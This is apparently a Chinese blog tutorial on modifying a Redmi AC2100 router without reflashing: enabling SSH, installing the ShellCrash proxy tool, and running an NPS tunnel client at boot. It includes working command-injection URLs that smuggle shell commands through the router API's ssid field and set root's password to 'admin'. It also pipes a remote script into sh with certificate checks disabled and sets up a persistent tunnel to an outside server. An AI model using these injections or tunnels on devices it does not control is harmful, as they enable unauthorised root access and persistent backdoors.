不刷固件武装你的家用路由器
字数 1003 2025-08-22 12:22:30

不刷固件武装家用路由器(Redmi AC2100)详细教程

一、开启路由器SSH

准备工作

  • 路由器型号:Redmi路由器 AC2100(其他小米品牌路由器方法类似)
  • 需要获取<stok>值:登录路由器后台后,从GET请求中获取的凭证

开启SSH步骤

  1. 在浏览器地址栏输入以下URL(替换<STOK>为你的实际值):
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
  1. 修改root用户密码为admin(同样替换<STOK>):
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
  1. 或者通过SSH后修改密码:
passwd root
  1. 测试SSH连接,成功后会看到"雷总ARE U OK"的提示

二、安装科学工具(ShellCrash)

  1. 成功登录SSH后,执行以下命令:
export url='https://gh.jwsc.eu.org/master' && sh -c "$(curl -kfsSl $url/install.sh)" && source /etc/profile &> /dev/null
  1. 安装完成后,使用以下命令管理:
  • crash:主命令
  • crash -h:查看帮助列表

注意:如安装不成功可排查网络原因,或尝试项目的其他源

三、安装crash本地WEB面板(可选)

建议安装本地面板,在线面板可能存在连接问题

四、安装内网穿透(NPS)

1. 查看系统架构

uname -a

确认架构(Redmi AC2100为mips架构)

2. 下载NPS客户端

从GitHub下载对应架构的二进制程序:
https://github.com/ehang-io/nps/releases

3. 上传二进制文件到路由器

方法一:使用wget下载(需自行搭建临时web服务)

wget http://1.1.1.1:8080/npcle

4. 测试运行NPC

# 后台保持运行加上&
./npcle -server=1.1.1.1:8024 -vkey=xxxxxxxx -type=tcp &

参数说明:

  • 1.1.1.1:8024:NPS服务器地址和端口
  • xxxxxxxx:NPS后台设置的秘钥

5. 测试代理

在nps后台添加socks5代理,连接测试远程桌面

五、设置开机自启NPC

方法一:使用crash工具的自动任务功能

  1. 创建启动脚本:
echo "./npcle -server=1.1.1.1:8024 -vkey=xxxxxxxx -type=tcp" >> /data/l.sh && chmod +x /data/l.sh
  1. 将脚本路径替换为你的二进制绝对路径

方法二:使用/etc/rc.local

将启动命令添加到/etc/rc.local文件中

六、拓展资料

  1. 红米AX6解锁SSH,安装使用ShellClash教程: https://www.wifilu.com/1991.html
  2. 红米AC2100开启SSH经历: https://zhuanlan.zhihu.com/p/451636593
  3. 红米AC2100一键开启SSH: https://zhuanlan.zhihu.com/p/260531160

注意事项

  1. 操作前请备份重要数据
  2. 确保理解每一步操作的含义
  3. 不同型号路由器可能需要调整命令参数
  4. 保持网络连接稳定,避免中途中断
不刷固件武装家用路由器(Redmi AC2100)详细教程 一、开启路由器SSH 准备工作 路由器型号:Redmi路由器 AC2100(其他小米品牌路由器方法类似) 需要获取 <stok> 值:登录路由器后台后,从GET请求中获取的凭证 开启SSH步骤 在浏览器地址栏输入以下URL(替换 <STOK> 为你的实际值): 修改root用户密码为admin(同样替换 <STOK> ): 或者通过SSH后修改密码: 测试SSH连接,成功后会看到"雷总ARE U OK"的提示 二、安装科学工具(ShellCrash) 成功登录SSH后,执行以下命令: 安装完成后,使用以下命令管理: crash :主命令 crash -h :查看帮助列表 注意:如安装不成功可排查网络原因,或尝试项目的其他源 三、安装crash本地WEB面板(可选) 建议安装本地面板,在线面板可能存在连接问题 四、安装内网穿透(NPS) 1. 查看系统架构 确认架构(Redmi AC2100为mips架构) 2. 下载NPS客户端 从GitHub下载对应架构的二进制程序: https://github.com/ehang-io/nps/releases 3. 上传二进制文件到路由器 方法一:使用wget下载(需自行搭建临时web服务) 4. 测试运行NPC 参数说明: 1.1.1.1:8024 :NPS服务器地址和端口 xxxxxxxx :NPS后台设置的秘钥 5. 测试代理 在nps后台添加socks5代理,连接测试远程桌面 五、设置开机自启NPC 方法一:使用crash工具的自动任务功能 创建启动脚本: 将脚本路径替换为你的二进制绝对路径 方法二:使用/etc/rc.local 将启动命令添加到 /etc/rc.local 文件中 六、拓展资料 红米AX6解锁SSH,安装使用ShellClash教程: https://www.wifilu.com/1991.html 红米AC2100开启SSH经历: https://zhuanlan.zhihu.com/p/451636593 红米AC2100一键开启SSH: https://zhuanlan.zhihu.com/p/260531160 注意事项 操作前请备份重要数据 确保理解每一步操作的含义 不同型号路由器可能需要调整命令参数 保持网络连接稳定,避免中途中断